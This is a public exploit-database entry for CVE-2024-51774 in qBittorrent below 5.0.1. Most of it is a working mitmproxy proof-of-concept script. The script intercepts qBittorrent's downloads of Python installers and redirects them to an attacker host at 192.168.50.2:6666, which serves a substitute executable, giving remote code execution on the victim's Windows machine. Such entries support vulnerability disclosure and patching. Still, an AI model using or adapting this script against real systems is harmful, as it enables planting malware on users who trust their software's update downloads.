qBittorrent 5.0.1 - MITM RCE

EDB-ID:

52190




Platform:

Multiple

Date:

2025-04-11


# Exploit Title: qBittorrent 5.0.1 MITM RCE
# Date: 01/02/2025
# Exploit Author: Jordan Sharp
# Vendor Homepage: https://github.com/qbittorrent/qBittorrent
# Software Link: https://www.qbittorrent.org/download
# Version: < 5.0.1
# Tested on: Windows 10
# CVE : CVE-2024-51774

Run the PoC on a MITM machine intercepting the host

"""PoC exploit for CVE-2024-51774"""
from mitmproxy import http

targets = [
    "https://www.python.org/ftp/python/3.10.11/python-3.10.11-amd64.exe",
    "https://www.python.org/ftp/python/3.8.10/python-3.8.10-amd64.exe",
    "https://www.python.org/ftp/python/3.10.11/python-3.10.11.exe",
    "https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe",
    "https://www.python.org/ftp/python/3.4.3/python-3.4.3.msi",
    "https://www.python.org/ftp/python/3.8.5/python-3.8.5-amd64.exe",
    "https://www.python.org/ftp/python/3.8.5/python-3.8.5.exe",
    "https://www.python.org/ftp/python/3.8.1/python-3.8.1-amd64.exe",
    "https://www.python.org/ftp/python/3.8.1/python-3.8.1.exe",
    "https://www.python.org/ftp/python/3.7.4/python-3.7.4-amd64.exe",
    "https://www.python.org/ftp/python/3.7.4/python-3.7.4.exe",
    "https://www.python.org/ftp/python/3.6.6/python-3.6.6.exe",
    "https://www.python.org/ftp/python/3.12.4/python-3.12.4-amd64.exe",
    "https://www.python.org/ftp/python/3.4.4/python-3.4.4.msi",
    "https://www.python.org/ftp/python/3.5.2/python-3.5.2.exe"
]

SUBSTITUTE_URL = "http://192.168.50.2:6666/calc.exe"

def request(flow: http.HTTPFlow) -> None:
    """
    Inject any exe instead of a Python installer.
    """
    if flow.request.pretty_url in targets:
        flow.request.url = SUBSTITUTE_URL